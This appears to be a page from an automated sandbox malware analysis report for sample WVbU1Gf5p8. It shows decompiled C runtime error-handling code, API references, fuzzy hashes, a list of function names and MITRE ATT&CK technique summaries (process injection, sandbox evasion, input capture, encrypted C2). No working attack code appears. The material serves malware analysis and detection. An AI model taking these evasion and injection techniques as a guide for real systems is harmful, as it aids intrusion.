Function 012369C2, Relevance: 6.0, APIs: 4, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 71%

			E012369C2(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_push(_t30);
				_t36 = GetLastError();
				_t2 =  *0x1249084; // 0x3
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E012365F3(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E012394BA(_t20, _t25, _t31, __eflags,  *0x1249084, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E01236834(_t25, _t31, 0x1249d34);
							E012364CE(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E012364CE();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E012365B0(_t20, _t25, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x1249084; // 0x3
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E012365F3(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E012394BA(_t21, _t27, _t32, __eflags,  *0x1249084, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E01236834(_t27, _t32, 0x1249d34);
									E012364CE(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E012364CE();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E01239464(0, _t25, _t31, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E01239464(__ebx, _t23, _t30, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x012369c2
0x012369c2
0x012369c2
0x012369c5
0x012369cc
0x012369ce
0x012369d3
0x012369d6
0x012369e4
0x012369eb
0x012369f0
0x012369f3
0x012369f6
0x01236a08
0x01236a0d
0x01236a0f
0x01236a1a
0x01236a21
0x01236a26
0x01236a29
0x01236a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x01236a11
0x01236a11
0x00000000
0x01236a11
0x012369f8
0x012369f8
0x012369f9
0x012369f9
0x012369fe
0x01236a39
0x01236a3a
0x01236a40
0x01236a45
0x01236a48
0x01236a49
0x01236a4a
0x01236a51
0x01236a53
0x01236a55
0x01236a5a
0x01236a5d
0x01236a6b
0x01236a77
0x01236a7a
0x01236a7d
0x01236a8f
0x01236a94
0x01236a96
0x01236aa1
0x01236aa7
0x01236aaf
0x01236ab1
0x00000000
0x00000000
0x00000000
0x00000000
0x01236a98
0x01236a98
0x00000000
0x01236a98
0x01236a7f
0x01236a7f
0x01236a80
0x01236a80
0x01236ab3
0x01236ab4
0x01236ab4
0x01236a5f
0x01236a65
0x01236a69
0x01236abc
0x01236abd
0x01236ac3
0x00000000
0x00000000
0x00000000
0x01236a69
0x01236aca
0x01236aca
0x012369d8
0x012369de
0x012369e2
0x01236a2d
0x01236a2e
0x01236a38
0x00000000
0x00000000
0x00000000
0x012369e2

APIs

GetLastError.KERNEL32(?,?,0123419F,?,?,?,01233D60,?,?,?,00000000), ref: 012369C6
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 01236A2E
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 01236A3A
_abort.LIBCMT ref: 01236A40

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ErrorLast$_abort
String ID:
API String ID: 88804580-0
Opcode ID: aa58509f6efdb3222c8017ae886c3c40867ab82a5efb5d164352100fd6f0ea10
Instruction ID: 8789ee82cafe7edee77d89222efde8a5dac331ebf948659f9c3bb583765978f2
Opcode Fuzzy Hash: aa58509f6efdb3222c8017ae886c3c40867ab82a5efb5d164352100fd6f0ea10
Instruction Fuzzy Hash: BEF0A9FA574603B7DB22737A7C09A7A255FCFE5625B254024F71492185EE61C6428270

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report WVbU1Gf5p8

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

System Behavior

Function 01232240, Relevance: 47.5, APIs: 17, Strings: 10, Instructions: 203
sleepfileprocessCOMMON

Function 01231780, Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 265
filenetworkCOMMONCrypto

Function 01231EB0, Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 271
libraryloaderCOMMONCrypto

Function 01232D83, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 01231A90, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 127
memorynetworkCOMMON

Function 012365F3, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 0123B40E, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Function 01236B11, Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Function 01235C5E, Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Function 01232E9B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135
COMMON

Function 012385AB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Function 0123AF60, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Function 0123FA1C, Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Function 012346F7, Relevance: 1.5, Strings: 1, Instructions: 214
COMMONCrypto

Function 0123A191, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Function 01231C20, Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 206
filesleepmemoryCOMMON

Function 0123D68D, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Function 0123AC03, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Function 01233220, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115
COMMON

Function 0123761B, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Function 01239C4B, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Function 0123917E, Relevance: 6.1, APIs: 4, Instructions: 68
COMMON

Function 0123933D, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Function 01232561, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Function 012369C2, Relevance: 6.0, APIs: 4, Instructions: 50
COMMONLIBRARYCODE